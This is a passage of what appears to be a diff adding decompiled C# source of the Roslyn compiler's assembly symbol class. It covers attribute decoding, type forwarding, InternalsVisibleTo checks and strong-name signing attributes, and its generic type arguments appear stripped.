null) + { + result = new CommonAssemblyWellKnownAttributeData(); + } + CommonAssemblyWellKnownAttributeData obj3 = result; + val2 = ((AttributeData)attribute).CommonConstructorArguments[0]; + obj3.AssemblyKeyContainerAttributeSetting = (string)((TypedConstant)(ref val2)).ValueInternal; + } + } + WellKnownAttributeData limitedDecodeWellKnownAttributes(ImmutableArray attributesFromNetModules, ImmutableArray immutableArray, QuickAttributes attributeMatches2) + { + int length = attributesFromNetModules.Length; + HashSet uniqueAttributes = null; + CommonAssemblyWellKnownAttributeData result = null; + for (int num = length - 1; num >= 0; num--) + { + CSharpAttributeData cSharpAttributeData = attributesFromNetModules[num]; + if (!((AttributeData)cSharpAttributeData).HasErrors && ValidateAttributeUsageForNetModuleAttribute(cSharpAttributeData, immutableArray[num], BindingDiagnosticBag.Discarded, ref uniqueAttributes)) + { + limitedDecodeWellKnownAttribute(cSharpAttributeData, attributeMatches2, ref result); + } + } + return (WellKnownAttributeData)(object)result; + } + } + + private CustomAttributesBag GetNetModuleAttributesBag() + { + if (_lazyNetModuleAttributesBag == null) + { + LoadAndValidateNetModuleAttributes(ref _lazyNetModuleAttributesBag); + } + return _lazyNetModuleAttributesBag; + } + + internal CommonAssemblyWellKnownAttributeData GetNetModuleDecodedWellKnownAttributeData() + { + return (CommonAssemblyWellKnownAttributeData)(object)GetNetModuleAttributesBag().DecodedWellKnownAttributeData; + } + + internal ImmutableArray> GetAttributeDeclarations() + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = DeclaringCompilation.MergedRootDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + RootSingleNamespaceDeclaration rootSingleNamespaceDeclaration = (RootSingleNamespaceDeclaration)enumerator.Current; + if (rootSingleNamespaceDeclaration.HasAssemblyAttributes) + { + CompilationUnitSyntax compilationUnitSyntax = (CompilationUnitSyntax)(object)((Location)rootSingleNamespaceDeclaration.Location).SourceTree.GetRoot(default(CancellationToken)); + instance.Add(compilationUnitSyntax.AttributeLists); + } + } + return instance.ToImmutableAndFree(); + } + + private void EnsureAttributesAreBound() + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((_lazySourceAttributesBag == null || !_lazySourceAttributesBag.IsSealed) && LoadAndValidateAttributes(OneOrMany.Create>(GetAttributeDeclarations()), ref _lazySourceAttributesBag)) + { + _state.NotePartComplete(CompletionPart.Attributes); + } + } + + private CustomAttributesBag GetSourceAttributesBag() + { + EnsureAttributesAreBound(); + return _lazySourceAttributesBag; + } + + public sealed override ImmutableArray GetAttributes() + { + ImmutableArray immutableArray = GetSourceAttributesBag().Attributes; + ImmutableArray attributes = GetNetModuleAttributesBag().Attributes; + if (immutableArray.Length > 0) + { + if (attributes.Length > 0) + { + immutableArray = ImmutableArrayExtensions.Concat(immutableArray, attributes); + } + } + else + { + immutableArray = attributes; + } + return immutableArray; + } + + internal bool IsIndexOfOmittedAssemblyAttribute(int index) + { + if (_lazyOmittedAttributeIndices != null) + { + return _lazyOmittedAttributeIndices.Contains(index); + } + return false; + } + + internal CommonAssemblyWellKnownAttributeData GetSourceDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazySourceAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetSourceAttributesBag(); + } + return (CommonAssemblyWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + private CommonAssemblyWellKnownAttributeData? GetSourceDecodedWellKnownAttributeData(QuickAttributes attribute) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazySourceAttributesBag = _lazySourceAttributesBag; + if (lazySourceAttributesBag != null && lazySourceAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + return (CommonAssemblyWellKnownAttributeData)(object)lazySourceAttributesBag.DecodedWellKnownAttributeData; + } + lazySourceAttributesBag = null; + Func attributeMatchesOpt = attribute switch + { + QuickAttributes.AssemblySignatureKey => isPossibleAssemblySignatureKeyAttribute, + QuickAttributes.AssemblyKeyName => isPossibleAssemblyKeyNameAttribute, + QuickAttributes.AssemblyKeyFile => isPossibleAssemblyKeyFileAttribute, + _ => throw ExceptionUtilities.UnexpectedValue((object)attribute), + }; + LoadAndValidateAttributes(OneOrMany.Create>(GetAttributeDeclarations()), ref lazySourceAttributesBag, AttributeLocation.None, earlyDecodingOnly: false, null, attributeMatchesOpt); + return (CommonAssemblyWellKnownAttributeData)(object)lazySourceAttributesBag?.DecodedWellKnownAttributeData; + bool isPossibleAssemblyKeyFileAttribute(AttributeSyntax node) + { + return DeclaringCompilation.GetBinderFactory(node.SyntaxTree).GetBinder((SyntaxNode)(object)node).QuickAttributeChecker.IsPossibleMatch(node, QuickAttributes.AssemblyKeyFile); + } + bool isPossibleAssemblyKeyNameAttribute(AttributeSyntax node) + { + return DeclaringCompilation.GetBinderFactory(node.SyntaxTree).GetBinder((SyntaxNode)(object)node).QuickAttributeChecker.IsPossibleMatch(node, QuickAttributes.AssemblyKeyName); + } + bool isPossibleAssemblySignatureKeyAttribute(AttributeSyntax node) + { + return DeclaringCompilation.GetBinderFactory(node.SyntaxTree).GetBinder((SyntaxNode)(object)node).QuickAttributeChecker.IsPossibleMatch(node, QuickAttributes.AssemblySignatureKey); + } + } + + internal HashSet GetForwardedTypes() + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazySourceAttributesBag = _lazySourceAttributesBag; + if (lazySourceAttributesBag != null && lazySourceAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + return ((CommonAssemblyWellKnownAttributeData)(object)lazySourceAttributesBag.DecodedWellKnownAttributeData)?.ForwardedTypes; + } + bool flag = t_forwardedTypesAttributesInProgress == null; + if (flag) + { + t_forwardedTypesAttributesInProgress = PooledHashSet.GetInstance(); + } + try + { + lazySourceAttributesBag = null; + LoadAndValidateAttributes(OneOrMany.Create>(GetAttributeDeclarations()), ref lazySourceAttributesBag, AttributeLocation.None, earlyDecodingOnly: false, null, IsPossibleForwardedTypesAttribute, BeforePossibleForwardedTypesAttributePartBound, AfterPossibleForwardedTypesAttributePartBound); + return ((CommonAssemblyWellKnownAttributeData)(object)lazySourceAttributesBag?.DecodedWellKnownAttributeData)?.ForwardedTypes; + } + finally + { + if (flag) + { + PooledHashSet obj = t_forwardedTypesAttributesInProgress; + t_forwardedTypesAttributesInProgress = null; + obj.Free(); + } + } + } + + private static void BeforePossibleForwardedTypesAttributePartBound(AttributeSyntax node) + { + ((HashSet)(object)t_forwardedTypesAttributesInProgress).Add(node); + } + + private static void AfterPossibleForwardedTypesAttributePartBound(AttributeSyntax node) + { + ((HashSet)(object)t_forwardedTypesAttributesInProgress).Remove(node); + } + + private bool IsPossibleForwardedTypesAttribute(AttributeSyntax node) + { + if (DeclaringCompilation.GetBinderFactory(node.SyntaxTree).GetBinder((SyntaxNode)(object)node).QuickAttributeChecker.IsPossibleMatch(node, QuickAttributes.TypeForwardedTo) && !((HashSet)(object)t_forwardedTypesAttributesInProgress).Contains(node)) + { + return true; + } + return false; + } + + private static IEnumerable GetSecurityAttributes(CustomAttributesBag attributesBag) + { + CommonAssemblyWellKnownAttributeData val = (CommonAssemblyWellKnownAttributeData)(object)attributesBag.DecodedWellKnownAttributeData; + if (val == null) + { + yield break; + } + SecurityWellKnownAttributeData securityInformation = val.SecurityInformation; + if (securityInformation == null) + { + yield break; + } + foreach (SecurityAttribute securityAttribute in securityInformation.GetSecurityAttributes(attributesBag.Attributes)) + { + yield return securityAttribute; + } + } + + internal IEnumerable GetSecurityAttributes() + { + foreach (SecurityAttribute securityAttribute in GetSecurityAttributes(GetSourceAttributesBag())) + { + yield return securityAttribute; + } + foreach (SecurityAttribute securityAttribute2 in GetSecurityAttributes(GetNetModuleAttributesBag())) + { + yield return securityAttribute2; + } + if (!_compilation.Options.AllowUnsafe || _compilation.GetWellKnownType((WellKnownType)236) is MissingMetadataTypeSymbol || _compilation.GetWellKnownType((WellKnownType)239) is MissingMetadataTypeSymbol) + { + yield break; + } + NamedTypeSymbol wellKnownType = _compilation.GetWellKnownType((WellKnownType)237); + if (!(wellKnownType is MissingMetadataTypeSymbol)) + { + FieldSymbol fieldSymbol = (FieldSymbol)_compilation.GetWellKnownTypeMember((WellKnownMember)135); + object obj = (((object)fieldSymbol == null || fieldSymbol.HasUseSiteError) ? ((object)0) : fieldSymbol.ConstantValue); + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)wellKnownType, (TypedConstantKind)2, obj); + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + TypedConstant value = default(TypedConstant); + ((TypedConstant)(ref value))._002Ector((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)true); + SynthesizedAttributeData synthesizedAttributeData = _compilation.TrySynthesizeAttribute((WellKnownMember)136, ImmutableArray.Create(item), ImmutableArray.Create(new KeyValuePair((WellKnownMember)137, value))); + if (synthesizedAttributeData != null) + { + yield return new SecurityAttribute((DeclarativeSecurityAction)(int)obj, (ICustomAttribute)(object)synthesizedAttributeData); + } + } + } + + internal override ImmutableArray GetNoPiaResolutionAssemblies() + { + return _modules[0].GetReferencedAssemblySymbols(); + } + + internal override void SetNoPiaResolutionAssemblies(ImmutableArray assemblies) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceAssemblySymbol.cs", 1848); + } + + internal override ImmutableArray GetLinkedReferencedAssemblies() + { + return default(ImmutableArray); + } + + internal override void SetLinkedReferencedAssemblies(ImmutableArray assemblies) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceAssemblySymbol.cs", 1862); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_018e: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Invalid comparison between Unknown and I4 + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + //IL_01ef: Unknown result type (might be due to invalid IL or missing references) + //IL_0260: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + bool num = EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind); + if (ContainsExtensionMethods()) + { + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.TrySynthesizeAttribute((WellKnownMember)111)); + } + if (!num && !Modules.Any((ModuleSymbol m) => m.HasAssemblyCompilationRelaxationsAttribute) && !(_compilation.GetWellKnownType((WellKnownType)176) is MissingMetadataTypeSymbol)) + { + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)13); + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)8); + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.TrySynthesizeAttribute((WellKnownMember)114, ImmutableArray.Create(item))); + } + if (!num && !Modules.Any((ModuleSymbol m) => m.HasAssemblyRuntimeCompatibilityAttribute) && !(_compilation.GetWellKnownType((WellKnownType)177) is MissingMetadataTypeSymbol)) + { + NamedTypeSymbol specialType2 = _compilation.GetSpecialType((SpecialType)7); + TypedConstant value = default(TypedConstant); + ((TypedConstant)(ref value))._002Ector((ITypeSymbolInternal)(object)specialType2, (TypedConstantKind)1, (object)true); + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.TrySynthesizeAttribute((WellKnownMember)115, ImmutableArray.Empty, ImmutableArray.Create(new KeyValuePair((WellKnownMember)116, value)))); + } + if (!num && !HasDebuggableAttribute) + { + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.SynthesizeDebuggableAttribute()); + } + if ((int)((CompilationOptions)_compilation.Options).OutputKind == 3) + { + if (!string.IsNullOrEmpty(((CompilationOptions)_compilation.Options).CryptoKeyContainer) && (object)AssemblyKeyContainerAttributeSetting == WellKnownAttributeData.StringMissingValue) + { + NamedTypeSymbol specialType3 = _compilation.GetSpecialType((SpecialType)20); + TypedConstant item2 = default(TypedConstant); + ((TypedConstant)(ref item2))._002Ector((ITypeSymbolInternal)(object)specialType3, (TypedConstantKind)1, (object)((CompilationOptions)_compilation.Options).CryptoKeyContainer); + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.TrySynthesizeAttribute((WellKnownMember)46, ImmutableArray.Create(item2))); + } + if (!string.IsNullOrEmpty(((CompilationOptions)_compilation.Options).CryptoKeyFile) && (object)AssemblyKeyFileAttributeSetting == WellKnownAttributeData.StringMissingValue) + { + NamedTypeSymbol specialType4 = _compilation.GetSpecialType((SpecialType)20); + TypedConstant item3 = default(TypedConstant); + ((TypedConstant)(ref item3))._002Ector((ITypeSymbolInternal)(object)specialType4, (TypedConstantKind)1, (object)((CompilationOptions)_compilation.Options).CryptoKeyFile); + Symbol.AddSynthesizedAttribute(ref attributes, _compilation.TrySynthesizeAttribute((WellKnownMember)45, ImmutableArray.Create(item3))); + } + } + } + + private bool ContainsExtensionMethods() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyContainsExtensionMethods)) + { + _lazyContainsExtensionMethods = ThreeStateHelpers.ToThreeState(ContainsExtensionMethods(_modules)); + } + return ThreeStateHelpers.Value(_lazyContainsExtensionMethods); + } + + private static bool ContainsExtensionMethods(ImmutableArray modules) + { + ImmutableArray.Enumerator enumerator = modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (ContainsExtensionMethods(enumerator.Current.GlobalNamespace)) + { + return true; + } + } + return false; + } + + private static bool ContainsExtensionMethods(NamespaceSymbol ns) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = ns.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind != 11) + { + if ((int)kind != 12) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + if (ContainsExtensionMethods((NamespaceSymbol)current)) + { + return true; + } + } + else if (((NamedTypeSymbol)current).MightContainExtensionMethods) + { + return true; + } + } + return false; + } + + private void CheckOptimisticIVTAccessGrants(BindingDiagnosticBag bag) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + ConcurrentDictionary optimisticallyGrantedInternalsAccess = _optimisticallyGrantedInternalsAccess; + if (optimisticallyGrantedInternalsAccess == null) + { + return; + } + foreach (AssemblySymbol key in optimisticallyGrantedInternalsAccess.Keys) + { + IVTConclusion val = MakeFinalIVTDetermination(key); + if ((int)val == 2) + { + bag.Add(ErrorCode.ERR_FriendRefNotEqualToThis, NoLocation.Singleton, key.Identity, Identity); + } + else if ((int)val == 1) + { + bag.Add(ErrorCode.ERR_FriendRefSigningMismatch, NoLocation.Singleton, key.Identity); + } + } + } + + internal override IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName) + { + EnsureAttributesAreBound(); + if (_lazyInternalsVisibleToMap == null) + { + return SpecializedCollections.EmptyEnumerable>(); + } + ConcurrentDictionary, Tuple> value = null; + _lazyInternalsVisibleToMap.TryGetValue(simpleName, out value); + if (value == null) + { + return SpecializedCollections.EmptyEnumerable>(); + } + return value.Keys; + } + + internal override IEnumerable GetInternalsVisibleToAssemblyNames() + { + EnsureAttributesAreBound(); + if (_lazyInternalsVisibleToMap == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return _lazyInternalsVisibleToMap.Keys; + } + + internal override bool AreInternalsVisibleToThisAssembly(AssemblySymbol potentialGiverOfAccess) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + if (_lazyStrongNameKeys == null && (object)t_assemblyForWhichCurrentThreadIsComputingKeys != null) + { + if (!EnumerableExtensions.IsEmpty>(potentialGiverOfAccess.GetInternalsVisibleToPublicKeys(Name))) + { + if (_optimisticallyGrantedInternalsAccess == null) + { + Interlocked.CompareExchange(ref _optimisticallyGrantedInternalsAccess, new ConcurrentDictionary(), null); + } + _optimisticallyGrantedInternalsAccess.TryAdd(potentialGiverOfAccess, value: true); + return true; + } + return false; + } + IVTConclusion val = MakeFinalIVTDetermination(potentialGiverOfAccess); + if ((int)val != 0) + { + return (int)val == 1; + } + return true; + } + + private AssemblyIdentity ComputeIdentity() + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + return new AssemblyIdentity(_assemblySimpleName, VersionHelper.GenerateVersionFromPatternAndCurrentTime(((CompilationOptions)_compilation.Options).CurrentLocalTime, AssemblyVersionAttributeSetting), AssemblyCultureAttributeSetting, StrongNameKeys.PublicKey, !StrongNameKeys.PublicKey.IsDefault, (AssemblyFlags & AssemblyFlags.Retargetable) == AssemblyFlags.Retargetable); + } + + private static Location GetAssemblyAttributeLocationForDiagnostic(AttributeSyntax attributeSyntaxOpt) + { + if (attributeSyntaxOpt == null) + { + return NoLocation.Singleton; + } + return ((SyntaxNode)attributeSyntaxOpt).Location; + } + + private void DecodeTypeForwardedToAttribute(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Invalid comparison between Unknown and I4 + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + TypedConstant val = ((AttributeData)arguments.Attribute).CommonConstructorArguments[0]; + TypeSymbol typeSymbol = (TypeSymbol)((TypedConstant)(ref val)).ValueInternal; + if ((object)typeSymbol == null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidFwdType, GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt)); + return; + } + UseSiteInfo useSiteInfo = typeSymbol.GetUseSiteInfo(); + DiagnosticInfo diagnosticInfo = useSiteInfo.DiagnosticInfo; + if ((diagnosticInfo == null || diagnosticInfo.Code != 7003) && ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(useSiteInfo, (useSiteInfo.DiagnosticInfo != null) ? GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt) : Location.None)) + { + return; + } + if (typeSymbol.ContainingAssembly == this) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ForwardedTypeInThisAssembly, GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt), typeSymbol); + return; + } + if ((object)typeSymbol.ContainingType != null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ForwardedTypeIsNested, GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt), typeSymbol, typeSymbol.ContainingType); + return; + } + if ((int)typeSymbol.Kind != 11) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidFwdType, GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt)); + return; + } + CommonAssemblyWellKnownAttributeData orCreateData = arguments.GetOrCreateData>(); + HashSet forwardedTypes = orCreateData.ForwardedTypes; + if (forwardedTypes == null) + { + forwardedTypes = new HashSet { (NamedTypeSymbol)typeSymbol }; + orCreateData.ForwardedTypes = forwardedTypes; + } + else if (!forwardedTypes.Add((NamedTypeSymbol)typeSymbol)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_DuplicateTypeForwarder, GetAssemblyAttributeLocationForDiagnostic(arguments.AttributeSyntaxOpt), typeSymbol); + } + } + + private void DecodeOneInternalsVisibleToAttribute(AttributeSyntax nodeOpt, CSharpAttributeData attrData, BindingDiagnosticBag diagnostics, int index, ref ConcurrentDictionary, Tuple>> lazyInternalsVisibleToMap) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = ((AttributeData)attrData).CommonConstructorArguments[0]; + string text = (string)((TypedConstant)(ref val)).ValueInternal; + if (text == null) + { + diagnostics.Add(ErrorCode.ERR_CannotPassNullForFriendAssembly, GetAssemblyAttributeLocationForDiagnostic(nodeOpt)); + return; + } + AssemblyIdentity val2 = default(AssemblyIdentity); + AssemblyIdentityParts val3 = default(AssemblyIdentityParts); + if (!AssemblyIdentity.TryParseDisplayName(text, ref val2, ref val3)) + { + diagnostics.Add(ErrorCode.WRN_InvalidAssemblyName, GetAssemblyAttributeLocationForDiagnostic(nodeOpt), text); + AddOmittedAttributeIndex(index); + return; + } + if ((val3 & -194) != 0) + { + diagnostics.Add(ErrorCode.ERR_FriendAssemblyBadArgs, GetAssemblyAttributeLocationForDiagnostic(nodeOpt), text); + return; + } + if (lazyInternalsVisibleToMap == null) + { + Interlocked.CompareExchange(ref lazyInternalsVisibleToMap, new ConcurrentDictionary, Tuple>>(StringComparer.OrdinalIgnoreCase), null); + } + Tuple value = null; + if (val2.PublicKey.IsEmpty) + { + value = new Tuple(GetAssemblyAttributeLocationForDiagnostic(nodeOpt), text); + } + ConcurrentDictionary, Tuple> value2 = null; + if (lazyInternalsVisibleToMap.TryGetValue(val2.Name, out value2)) + { + value2.TryAdd(val2.PublicKey, value); + return; + } + value2 = new ConcurrentDictionary, Tuple>(); + value2.TryAdd(val2.PublicKey, value); + lazyInternalsVisibleToMap.TryAdd(val2.Name, value2); + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + DecodeWellKnownAttribute(ref arguments, arguments.Index, isFromNetModule: false); + } + + private void DecodeWellKnownAttribute(ref DecodeWellKnownAttributeArguments arguments, int index, bool isFromNetModule) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_01fb: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_0217: Unknown result type (might be due to invalid IL or missing references) + //IL_02ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0290: Unknown result type (might be due to invalid IL or missing references) + //IL_0295: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Unknown result type (might be due to invalid IL or missing references) + //IL_02c8: Unknown result type (might be due to invalid IL or missing references) + //IL_02cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0382: Unknown result type (might be due to invalid IL or missing references) + //IL_02fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0302: Unknown result type (might be due to invalid IL or missing references) + //IL_03ba: Unknown result type (might be due to invalid IL or missing references) + //IL_039f: Unknown result type (might be due to invalid IL or missing references) + //IL_03a4: Unknown result type (might be due to invalid IL or missing references) + //IL_0326: Unknown result type (might be due to invalid IL or missing references) + //IL_03f2: Unknown result type (might be due to invalid IL or missing references) + //IL_03d7: Unknown result type (might be due to invalid IL or missing references) + //IL_03dc: Unknown result type (might be due to invalid IL or missing references) + //IL_042a: Unknown result type (might be due to invalid IL or missing references) + //IL_040f: Unknown result type (might be due to invalid IL or missing references) + //IL_0414: Unknown result type (might be due to invalid IL or missing references) + //IL_0499: Unknown result type (might be due to invalid IL or missing references) + //IL_0441: Unknown result type (might be due to invalid IL or missing references) + //IL_0446: Unknown result type (might be due to invalid IL or missing references) + //IL_04d1: Unknown result type (might be due to invalid IL or missing references) + //IL_04b6: Unknown result type (might be due to invalid IL or missing references) + //IL_04bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0509: Unknown result type (might be due to invalid IL or missing references) + //IL_04ee: Unknown result type (might be due to invalid IL or missing references) + //IL_04f3: Unknown result type (might be due to invalid IL or missing references) + //IL_0523: Unknown result type (might be due to invalid IL or missing references) + //IL_0528: Unknown result type (might be due to invalid IL or missing references) + //IL_057b: Unknown result type (might be due to invalid IL or missing references) + //IL_0597: Unknown result type (might be due to invalid IL or missing references) + //IL_05b3: Unknown result type (might be due to invalid IL or missing references) + //IL_05cf: Unknown result type (might be due to invalid IL or missing references) + //IL_05ec: Unknown result type (might be due to invalid IL or missing references) + //IL_0607: Unknown result type (might be due to invalid IL or missing references) + //IL_0622: Unknown result type (might be due to invalid IL or missing references) + //IL_068c: Unknown result type (might be due to invalid IL or missing references) + //IL_06c0: Unknown result type (might be due to invalid IL or missing references) + //IL_06aa: Unknown result type (might be due to invalid IL or missing references) + //IL_06f1: Unknown result type (might be due to invalid IL or missing references) + //IL_0662: Unknown result type (might be due to invalid IL or missing references) + //IL_0667: Unknown result type (might be due to invalid IL or missing references) + //IL_0747: Unknown result type (might be due to invalid IL or missing references) + //IL_070b: Unknown result type (might be due to invalid IL or missing references) + //IL_0710: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + TypedConstant val; + int targetAttributeSignatureIndex; + if (attribute.IsTargetAttribute(this, AttributeDescription.InternalsVisibleToAttribute)) + { + DecodeOneInternalsVisibleToAttribute(arguments.AttributeSyntaxOpt, attribute, bindingDiagnosticBag, index, ref _lazyInternalsVisibleToMap); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblySignatureKeyAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text = (string)((TypedConstant)(ref val)).ValueInternal; + arguments.GetOrCreateData>().AssemblySignatureKeyAttributeSetting = text; + if (!StrongNameKeys.IsValidPublicKeyString(text)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidSignaturePublicKey, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt)); + } + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyFileAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData.AssemblyKeyFileAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyKeyNameAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData2 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData2.AssemblyKeyContainerAttributeSetting = (string)((TypedConstant)(ref val)).ValueInternal; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyDelaySignAttribute)) + { + CommonAssemblyWellKnownAttributeData orCreateData3 = arguments.GetOrCreateData>(); + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + orCreateData3.AssemblyDelaySignAttributeSetting = (ThreeState)((!(bool)((TypedConstant)(ref val)).ValueInternal) ? 1 : 2); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AssemblyVersionAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text2 = (string)((TypedConstant)(ref val)).ValueInternal; + Version assemblyVersionAttributeSetting = default(Version); + if (!VersionHelper.TryParseAssemblyVersion(text2, !((Compilation)_compilation).IsEmitDeterministic, ref assemblyVersionAttributeSetting)) + { + Location attributeArgumentSyntaxLocation = ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt); + bool flag = ((Compilation)_compilation).IsEmitDeterministic && (text2?.Contains('*') ?? false); + bindingDiagnosticBag.Add(flag ? ErrorCode.ERR_InvalidVersionFormatDeterministic : ErrorCode.ERR_InvalidVersionFormat, attributeArgumentSyntaxLocation, text2 ?? ""); + } + 